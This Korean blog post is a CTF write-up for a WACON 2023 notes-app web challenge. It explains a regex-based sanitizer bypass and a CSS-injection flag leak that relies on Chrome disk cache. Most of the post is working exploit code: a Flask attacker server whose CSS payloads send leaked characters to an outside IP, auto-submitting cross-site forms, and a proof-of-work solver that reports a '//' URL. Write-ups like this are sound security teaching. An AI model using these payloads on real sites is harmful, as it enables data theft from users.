            data.push({ 'content': content, 'id': path });
        }
    });
    const result = await ejs.renderFile('./views/share.ejs', { notes: data, username: user, query, shared: true })
    const shareFile = random_bytes(8) + '.html';
    fs.writeFile(SHARE_DIR + shareFile, result, (err) => {
        if (err) { 
            return res.setHeader('Content-Type', 'text/html').send('<h1>Error!!</h1>');
        } else {
            return res.redirect('/share/' + shareFile);
        }
    });
});

app.get('/js/note.js', (req, res) => {
    return res.setHeader("Content-Type","application/javascript").sendFile(__dirname + '/js/note.js');
});

app.get('/js/qs.js', (req, res) => {
    return res.setHeader("Content-Type","application/javascript").sendFile(__dirname + '/js/qs.js');
});

app.listen(80)

 

소스코드를 보면 노트 추가, 삭제, 검색 기능이 있는걸 볼 수 있다. 그리고 실제로 노트를 추가해보면 h1과 같은 tag injection이 되고 노트 작성 후에 지정한 url로 리다이렉트 할 수 있음을 확인할 수 있다. 한가지 특이한점은 이전에 쓴 노트 내용인 pastContent를 input태그의 value로 남겨둔다는 점이다.

 

app.get('/notes/get', (req, res) => {
    const { user, query } = req.session;
    const userDir = USER_DIR + user;
    const files = fs.readdirSync(userDir);

    const data = [];
    files.forEach((path) => {
        content = fs.readFileSync(userDir + '/' + path).toString();
        if (content.match(FLAG_REGEX)) {
            return;
        }
        if (content.match(query)) {
            data.push({ 'content': sanitize(content), 'id': path });
        }
    });
    return res.json(data);
});

 

하지만 content는 sanitize되어서 반환되고

 

const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

function custom_sanitize(html) {
    const BLOCKED_TAG = /(style|svg|m.+)$/gi
    const BLOCKED_ATTR = /(class|src|style)/gi

    const document = new JSDOM('').window.document
    document.body.innerHTML = html
    let node;
    const iter = document.createNodeIterator(document.body)
    while (node = iter.nextNode()) {
        if (node.tagName) {
            if (BLOCKED_TAG.exec(node.tagName)) {
                node.remove()
                continue
            }
        }

        if (node.attributes) {
            for (let i = node.attributes.length - 1; i >= 0; i--) {
                const att = node.attributes[i]
                if (!BLOCKED_ATTR.exec(att.name)) {
                    node.removeAttributeNode(att)
                }
            }
        }
    }

    return document.body.innerHTML
}

function sanitize(html) {

    let clean = custom_sanitize(html)

    clean = DOMPurify.sanitize(clean)

    return clean
}


module.exports = { sanitize }

 

매우 엄격하게 sanitize를 한다. custom_sanitize까지 만들어서 style, svg, class, src등을 추가로 필터링하는걸 볼 수 있다. 그리고 어찌어찌 우회해서 임의의 javascript를 실행한다 쳐도 csp에 막혀서 xss는 불가능하다.

하지만 custom_sanitize는 bypass할 수 있는데

 

https://stackoverflow.com/questions/58022525/javascript-regex-test-same-string-but-got-different-result

 

Javascript Regex test same string but got different result

I have a weird situation. I am using a Regex testing some strings. I would like to seal them to a class, like the following: export class RegexPattern { static price = (/^\d*(\.\d{1,2})?$/g); ...

stackoverflow.com

 

위와 같은 이슈로 인해서

 

a<style></style><style>zzlol</style>

 

이런식으로 style태그를 2번 써주면 style태그를 사용할 수 있고 css injection을 할 수 있게 된다.

 

const puppeteer = require('puppeteer');
const fs = require('fs');
const FLAG = fs.readFileSync('./flag.txt').toString()

const APP_HOST = 'web';
const APP_PORT = '80';
const APP_URL = `http://${APP_HOST}:${APP_PORT}`;

if (!/^WACON2023{[a-z0-9_]+}$/.test(FLAG)) {
  console.log('Bad flag');
  process.exit(1);
}

const sleep = async (msec) =>
  new Promise((resolve) => setTimeout(resolve, msec));

const visit = async (url) => {
  console.log(`start: ${url}`);

  const browser = await puppeteer.launch({
    executablePath: '/usr/bin/google-chrome-stable',
    args: [
      '--no-sandbox',
      '--headless'
    ],
  });

  const context = await browser.createIncognitoBrowserContext();

  try {
    const page = await context.newPage();
    await page.goto(APP_URL + '/?redirectUrl=' + encodeURIComponent(url));

    await page.waitForSelector('#value');
    await page.focus('#value')
    await page.keyboard.type(FLAG, { delay: 10 });

    await page.waitForSelector('#create');
    await Promise.all([
      page.click('#create'),
      page.waitForNavigation({ timeout: 1000 }),
    ]);
    await sleep(15000);
    await page.close();
  } catch (e) {
    await page.close();
    console.error(e);
  }
  await browser.close();

  console.log(`end: ${url}`);
};

module.exports = { visit }

 

봇을 보면 노트에 플래그를 기록하고 지정한 url로 리다이렉트 한다. 즉 봇을 외부 서버로 접속하게 할 수 있다.

 

앞서 css injection을 할 수 있음을 확인했고 서버는 가장 마지막에 쓴 노트 내용인 pastContent를 input태그의 value에 남겨둔다. 따라서 봇이 url을 호출한 직후 봇의 pastContent는 플래그일거고 이걸 css injection으로 탈취해야 한다. 하지만 얼핏 생각하면 css injection payload를 노트에 적는 순간 pastContent는 플래그가 아닌 우리가 적어준 payload로 바뀌게 될거고 css injection을 할 수 있더라도 플래그를 탈취하지 못하게 된다. 이걸 해결하기 위해선 Chrome Cache를 이용해야 한다.

 

https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss

 

Chrome Cache to XSS - HackTricks

As a interesting point of disk cache, the cache includes not only the HTTP response rendered to a web page, but also those fetched with fetch. In other words, if you access the URL for a fetched resource, the browser will render the resource on the page.

book.hacktricks.xyz

 

위 글을 보면 Chrome Cache에는 2가지 종류가 있는데 javascript를 비롯해서 페이지 전체를 스냅샷 뜨는 bfcache와 웹에서 가져온 리소스만 저장하는 disk cache가 있다. 이 문제를 풀기 위해서는 저장된 노트를 불러오면서 input태그의 value를 바꾸면 안되는데 저장된 노트는 client javascript에서 불러오니까 javascript는 계속해서 실행해야 하고 따라서 전체 스냅샷을 뜨는 bfcache가 아닌 disk cache를 사용해야 한다. bfcache가 더 우선순위가 높지만 다행히도 puppeteer에서는 bfcache가 비활성화되어있어서 신경쓰지 않아도 된다.

 

위 사실들을 기반해서 시나리오를 세워보면 봇에 임의의 url을 report하면 pastContent가 플래그인 상태로 임의의 url에 접속하게 할 수 있는 상황이므로 서버를 하나 만들어서 window.open으로 자식 창을 생성하고 자식 창에서 add, delete와 같은 작업을 수행해준 후 부모 창은 크롬 뒤로가기 기능인 history.back(-1)을 이용해서 서버가 아닌 disk cache에서 리소스를 불러와줌으로써 client javascript는 실행되어서 노트 내용은 자식 창에서 수정한대로 계속 갱신되고 input태그의 value값은 갱신되지 않는 상황을 연출해주면 된다. 이런 방식으로 Chrome Cache를 이용하면 css injection으로 플래그를 leak할 수 있다.

 

from flask import Flask, request

app = Flask(__name__)

flag = "ACON2023{"

@app.route('/')
def index():
    return "<script>window.open('/child');</script>"

@app.route('/child')
def child():
    return '''<script>
    opener.location="http://web/?zz=zzlol";
    function sleep(ms) {
        return new Promise((r) => setTimeout(r, ms));
    }
    async function flagleak(){
        for(let i = 0; i < 0x1337; i++){
            a = window.open("/leak");
            await sleep(100);
            a.close();
            opener.location = "/back";
            await sleep(100);
            b = window.open("/deletenote");
            await sleep(100);
            b.close();
        }
    }
    flagleak();
    </script>'''

@app.route('/back')
def board():
    return "<script>history.back(-1);</script>"

@app.route('/flag')
def getflag():
    global flag
    flag = request.args.get("flag")
    print("W"+flag)
    if "}" in flag:
        open("flag.txt", "w").write("W"+flag)
        exit(0)
    return "zzlol"

@app.route('/deletenote')
def delete():
    return """<body onload="form.submit()">
<form id='form' action="http://web/notes/delete/1", method="POST">
<input name="redirectUrl" value='http//158.247.215.127:10070/zzlol'>
</form>
</body>
"""

@app.route('/leak')
def leak():
    global flag
    flagchr = "abcdefghijklmnopqrstuvwxyz0123456789_}"
    payload = ""
    for i in flagchr:
        payload += 'a<style></style><style>input[value*="'+flag+i+'"] { background: url("http://158.247.215.127:10070/flag?flag='+flag+i+'"); }</style>'
    return f"""<body onload="form.submit()">
<form id='form' action="http://web/notes/new", method="POST">
<input name="content" value='{payload}'>
<input name="redirectUrl" value='http://158.247.215.127:10070/zzlol'>
<input name="save" value='no'>
</form>
</body>
"""

app.run(host="0.0.0.0", port=10070)

 

서버는 위와 같이 작성할 수 있다. 자식 창은 payload를 추가하고 삭제하고를 반복하고 있고 부모 창은 /back앤드포인트를 이용해서 history.back(-1)을 반복하면서 input의 value는 갱신이 안되고 노트 내용만 갱신이 되는 상황을 유지하고 있다.

 

const express = require('express');
const session = require("express-session");
const crypto = require("crypto");
const { visit } = require('./bot');
const random_bytes = size => crypto.randomBytes(size).toString('hex');
const sha256 = text => crypto.createHash('sha256').update(text).digest('hex');

const app = express();
const difficulty = 7
const PORT = 31337

app.use(express.json());
app.use(
  session({
      cookie: { maxAge : 600000 },
      secret: random_bytes(64),
  })
);

app.use((req, res, next) => {
  if (!req.session.pow) {
      req.session.pow = random_bytes(8);
      return res.send(`sha256(${req.session.pow} + ???) == ${'0'.repeat(difficulty)}(${difficulty})...`)
  }
  next();
});

app.post('/api/report', async (req, res) => {
  const { url, pow } = req.body;
  if ((pow && typeof pow == 'string') && (sha256(req.session.pow + pow).slice(0, difficulty) == '0'.repeat(difficulty))) {
    if (
      typeof url !== 'string' ||
      (!url.startsWith('/'))
    ) {
      return res.status(400).send('Invalid url');
    }
    

    try {
      req.session.pow = random_bytes(8);
      visit(url);
      return res.status(200).send("Visit!!");
    } catch (e) {
      console.error(e);
      return res.status(500).send('Something wrong');
    }
  } else {
    req.session.pow = random_bytes(8);
    return res.status(500).send(`Wrong pow...\n sha256(${req.session.pow} + ???) == ${'0'.repeat(difficulty)}(${difficulty})...`);
  }
});

app.listen(PORT);

 

그리고 brute force를 막으려고 만든거 같긴 한데 봇한테 report하려고 하면 위와 같이 sha256해서 앞에 0이 7개 나오게끔 만드는 값을 찾아야 한다. !url.startsWith('/')는 외부로 보내지 말라는 의미에서 만들어진 검증같은데 //google.com과 같이 쉽게 우회 가능하다.

 

import requests
import hashlib
from tqdm import tqdm

s = requests.Session()

url = "http://58.229.185.29:31337"

req = s.get(url)
cookies = req.cookies.get_dict()
powhash = req.text[7:23]
print(powhash)

st = "0123456789abcdef"

for i in st:
    for j in tqdm(st):
        for k in st:
            for l in st:
                for m in st:
                    for n in st:
                        for o in st:
                            if hashlib.sha256((powhash+i+j+k+l+m+n+o).encode()).hexdigest()[:7] == "0"*7:
                                answer = i+j+k+l+m+n+o
                                print(answer)
                                print(s.post(url+"/api/report", cookies=cookies, json={"url":"//158.247.215.127:10070", "pow":answer}).text)
                                exit(0)

 

해당 검증을 통과하는 solver이다. 위에서 만든 서버를 실행하고 solver를 실행하면

 

 

검증을 통과하는 값을 찾았을때 봇이 pastContent가 플래그인 상태로 위에서 열어둔 서버에 방문하고

 

 

css injection을 통해서 한글자씩 플래그를 leak하는 모습을 볼 수 있다.

반응형

'CTF' 카테고리의 다른 글

2023 X-mas CTF 후기  (0) 2023.12.28
Whitehat Contest 2023 본선 All Web Write up + 후기  (0) 2023.10.29
YISF 2023 예선 write up  (1) 2023.08.17
ImaginaryCTF 2023 - window-of-opportunity  (2) 2023.07.25
Codegate2023 예선 write up  (1) 2023.06.19
Comments